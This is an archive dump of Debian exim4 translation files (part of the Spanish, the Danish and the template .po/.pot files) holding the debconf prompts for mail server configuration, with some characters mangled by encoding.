duplicar los dos puntos en direcciones IPv6 (por ejemplo " #~ "5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Introduzca en una lista separada por dos puntos las direcciones IP en las " #~ "que escuchar. Debe duplicar los dos puntos en direcciones IPv6 (por " #~ "ejemplo 5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "Configuracin de Exim versin 4 (exim4-config)" #~ msgid "" #~ "If you are configuring this system without local mail delivery this name " #~ "won't appear on From: lines of mail, as rewriting is used." #~ msgstr "" #~ "Debido al uso de la reescritura de campos, este nombre no aparecer en el " #~ "campo From: de la cabecera del correo si no ha configurando envo local " #~ "de correo para este sistema." #~ msgid "" #~ "Obviously, any machines that use us as a smarthost have to be excluded " #~ "from the relaying controls, as using us to relay mail for them is the " #~ "whole point." #~ msgstr "" #~ "Obviamente, cualquier servidor que nos utilice como smarthost ha de ser " #~ "excludo de los controles de reenvo, ya que la funcin primaria de " #~ "esteservidor de correo es permitirles que estos lo reenvien desde aqu." #~ msgid "" #~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " #~ "to one or more user accounts of the actual system administrators. The " #~ "default is to set things up so that mail for \"postmaster\" and for " #~ "various system accounts is redirected to \"root\", and mail for \"root\" " #~ "is redirected to a real user. This can be changed by editing /etc/" #~ "aliases." #~ msgstr "" #~ "El correo de las cuentas de postmaster (administrador de correo) y " #~ "root (administrador) habitualmente se redirige a una o ms cuentas de " #~ "usuario de los usuarios que son realmente administradores del sistema. El " #~ "valor por omisin es que el correo para postmaster y el de varias " #~ "cuentas del sistema se reenva a root, y el correo de root se reenva " #~ "a un usuario real. Esto se puede cambiar editando /etc/aliases." #~ msgid "" #~ "System administrator mail goes to which user accounts? Enter one or more " #~ "usernames separated by spaces or commas. Enter \"none\" if you do not " #~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " #~ "run deliveries as root and will save the mail to /var/mail/mail Also, " #~ "note that usernames should be lowercase!" #~ msgstr "" #~ "A qu cuentas de usuario ir el correo del administrador del sistema? " #~ "Introduzca uno o ms nombres de usuario separados por espacios o comas. " #~ "Escriba none si no desea redirigir el correo. No se recomienda jams " #~ "hacer sto. Exim no puede efectuar entregas de correo como root y " #~ "guardar el correo en /var/mail/mail. Asimismo, tenga en cuenta que " #~ "los nombres de usuario estn en minscula!" debian/po/da.po0000644000000000000000000005675512027557533010563 0ustar # Danish translation exim4. # Copyright (C) 2010 exim4 & nedenstående oversættere. # This file is distributed under the same license as the exim4 package. # Claus Hindsgaul , 2004, 2006. # Joe Hansen (joedalton2@yahoo.dk), 2010. # msgid "" msgstr "" "Project-Id-Version: exim4\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2010-08-12 17:30+01:00\n" "Last-Translator: Joe Hansen \n" "Language-Team: Danish \n" "Language: \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "org>\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" # Template: exim4/purge_spool # ddtp-prioritize: 43 # #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Fjern ikke-leverede breve i kø-mappen?" # #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Der er e-post i exims kø-mappe /var/spool/exim4/input, som ikke er blevet " "leveret endnu. Hvis du fjerner Exim, vil de ikke blive leveret, før Exim " "bliver geninstalleret." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Hvis denne indstilling ikke bliver valgt, vil kø-mappen blive bevaret, så " "brevene i køen bliver leveret senere, når Exim er geninstalleret." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Sæt exim4-config op i stedet for denne pakke" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Exim4 har udskilt sin opsætning i en dertil oprettet pakke, exim4-config. " "For at rekonfigurere Exim4 bruges 'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internetsted; post sendes og modtages direkte med SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "post sendt af smarthost; hentet via SMTP eller fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "post sendt af smarthost; ingen lokal post" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "kun lokal levering; ikke på et netværk" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ingen opsætning endnu" # Template: exim4/dc_eximconfig_configtype # ddtp-prioritize: 43 #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Overordnet postopsætningstype:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "Vælg venligst den postopsætningstype der bedst svarer til dine behov." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "System med dynamiske IP-adresser, herunder opkaldssystemer, skal generelt " "sættes op til at levere udgående post til en anden maskine, en såkaldt " "'smarthost', da mange modtagersystemer på internettet blokerer indkommende " "post fra dynamiske IP-adresser for at undgå spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Systemer med dynamiske IP-adresser kan enten modtage sin egen post, eller " "lokal levering kan deaktiveres fuldstændigt (undtagen post til root og " "postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Vil du virkelig undlade at sætte postsystemet op?" # #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Indtil postsystemet er sat op, vil det være ude af funktion og kan ikke " "benyttes. Du kan sætte det op senere, enten manuelt eller ved at køre 'dpkg-" "reconfigure exim4-config' som root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Systempostnavn:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "'postnavnet' er det domænenavn, der benyttes til at 'kvalificere' " "postadresser uden domænenavn." # #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Dette navn vil også blive brugt af andre programmer. Det bør være et enkelt, " "fuldt kvalificeret domænenavn (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Hvis en e-post-adresse på den lokale maskine f.eks. er foo@eksempel.org, vil " "den rigtige værdi til denne indstilling være eksempel.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Dette navn vil ikke optræde i From:-linjerne (Fra-linjerne) i udgående " "breve, hvis omskrivning er aktiveret." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Andre mål, hvortil post skal accepteres:" # #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Angiv en liste adskilt med semikolon over modtagerdomæner, for hvilke denne " "maskine skal betragte sig som endestation. Disse domæner kaldes normalt " "'lokale domæner'. Det lokale værtsnavn (${fqdn}) og 'localhost' tilføjes " "altid til den her anførte liste." # #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Som udgangspunkt vil alle domæner blive behandlet ens. Hvis både a.eksempel " "og b.eksempel er lokale domæner, vil acc@a.eksempel og acc@b.eksempel blive " "leveret til samme modtager. Hvis forskellige domænenavne skal behandles " "forskelligt, må du selv rette i opsætningsfilerne bagefter." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domæner at videresende (»relay«) post for:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Angiv en liste adskilt med semikolon over modtagerdomæner, dette system skal " "videresende post for - for eksempel som reserve-MX eller post-gateway. Det " "betyder, at dette system vil acceptere post til disse domæner fra ethvert " "sted på internettet og levere dem efter de lokale leveringsregler." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Nævn ikke lokale domæner her. Du kan godt bruge jokertegn (wildcards)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Maskiner at videresende (»relay«) post for:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Angiv en liste adskilt med semikolon over IP-adresseområder, dette system " "ubetinget vil videresende post for, og dermed fungere som smarthost." # #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Du skal bruge det almindelige adresse-/længdeformat (f.eks. 194.222.242.0/24 " "eller 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Lad feltet stå tomt, hvis systemet ikke skal være smarthost for andre " "maskiner." # Template: exim4/dc_readhost # ddtp-prioritize: 43 #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Synligt domænenavn for lokale brugere:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Muligheden for at skjule det lokale postnavn i udgående post er aktiveret. " "Det er derfor nødvendigt at angive det domænenavn, dette system skal skrive " "i domænedelen af lokale brugeres afsenderadresser." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP-adresser eller værtsnavne på den udgående smarthost:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Angiv IP-adressen eller værtsnavnet på en postserver, dette system skal " "benytte som udgående smarthost. Hvis smarthosten kun accepterer din post på " "en anden port ende TCP/25, skal du tilføje to koloner og portnummeret (for " "eksempel smarthost.eksempel::587 eller 192.168.254.254::2525). Koloner i " "IPV6-adresser skal skrive dobbelt." # #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Hvis smarthosten kræver godkendelse, kan du se, hvordan dette sættes op, i " "bemærkningerne om opsætning af SMTP-godkendelse i filen /usr/share/doc/exim4-" "base/README.Debian.gz." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Postmodtager for root og postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Post til 'postmaster', 'root' og andre systemkonti skal videresendes til den " "virkelige systemadministrators brugerkonto." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Hvis feltet lades stå tomt, vil den slags post blive gemt i /var/mail/mail. " "Dette anbefales ikke." # #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Bemærk at post til postmaster normalt skal læses på det system, det er " "omdirigeret til, fremfor at videresende den til andre steder, så (mindst en " "af) de brugere, du vælger, bør ikke omdirigere deres post væk fra denne " "maskine. Man kan gennemtvinge lokal levering ved at skrive 'real-' foran " "adressen." # #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Ved angivelse af flere brugernavne, skal disse adskilles af mellemrum." # Template: exim4/dc_local_interfaces # ddtp-prioritize: 43 #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP-adresser, der skal lyttes på for indkommende SMTP-forbindelser:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Angiv en liste over IP-adresser adskilt med koloner. Exims SMTP-lyttedæmon " "vil lytte på alle disse IP-adresser." # #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Hvis du lader denne værdi være tom, vil Exim lytte efter forbindelser på " "alle tilgængelige netkort." # #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Hvis dette system kun modtager e-post direkte fra lokale tjenester (og ikke " "fra andre værter), anbefales det at forbyde eksterne forbindelser til den " "lokale Eximdæmon. Sådanne tjenester inkluderer e-post-programmer (MUA'er) " "som kun snakker med localhost (lokalvært) samt fetchmail. Eksterne " "forbindelser er umulige når 127.0.0.1 indtastes her, da dette vil deaktivere " "lytning på offentligt tilgængelige netforbindelser." # Template: exim4/dc_minimaldns # ddtp-prioritize: 43 # #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Skal antallet af DNS-forespørgsler minimeres (opkaldsforbindelse)?" # #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "I normal drifttilstand, foretager Exim DNS-opslag under opstarten og når den " "modtager eller afleverer beskeder o.lign. Det sker for at føre log og holde " "antallet af faste indstillinger i opsætningsfilen nede." # #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Hvis dette system ikke har permanent adgang til en DNS-navneserver (f.eks. " "hvis internetadgangen foregår via en opkaldsforbindelse), kan dette have " "uønskede konsekvenser. For eksempel kan opstart af Exim eller kørsel af køen " "(også selv om der ikke er nogen ventende beskeder) udløse en dyr " "opringningshændelse." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Denne indstilling bør aktiveres hvis systemet benytter en " "opkaldsforbindelse. Hvis det har en permanent internetforbindelse, bør den " "deaktiveres." # Template: exim4/dc_eximconfig_configtype # ddtp-prioritize: 43 #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Opsætning af postserver" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Opdel opsætningen i mindre filer?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debians exim4-pakker kan enten bruge en 'ikke-opdelt opsætning', en enkelt " "monolitisk fil (/etc/exim4/exim4.conf.template) eller 'opdelt opsætning', " "hvor opsætningen beskrives i omkring 50 mindre filer i /etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Ikke-opdelt opsætning er bedst til større ændringer og er generelt mere " "stabil, mens opdelt opsætning gør det lettere at lave mindre ændringer, men " "er mere skrøbelig, og kan blive ødelagt, hvis den ændres uforsigtig." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Der er en mere detaljeret diskussion om ikke-opdelte og opdelte opsætninger " "i de Debianspecifikke README-filer i /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Skjul lokalt postnavn i udgående post?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Brevhovederne i udgående post kan omskrives, så de lader til at være " "genereret på et andet system. Hvis denne indstilling vælges, genskrives " "'${mailname}', 'localhost' og '${dc_other_hostnames}' i felterne From, Reply-" "To, Sender og Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox-format i /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir-format i hjemmemappe" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Leveringsmetode for lokal post:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim kan gemme lokalt leveret post i forskellige formater. De mest benyttede " "er mbox og Maildir. mbox benytter en enkelt fil til hele brevbakken, der " "gemmes i /var/mail/. I Maildir-formatet bliver brevene gemt i hver sin fil i " "~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Bemærk, at de fleste postværktøjer i Debian som udgangspunkt forventer, at " "den lokale post leveres i mbox-formatet." debian/po/templates.pot0000644000000000000000000003627412027557533012353 0ustar # SOME DESCRIPTIVE TITLE. # Copyright (C) YEAR THE PACKAGE'S COPYRIGHT HOLDER # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR , YEAR. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: FULL NAME \n" "Language-Team: LANGUAGE \n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "" #. Type: string #. 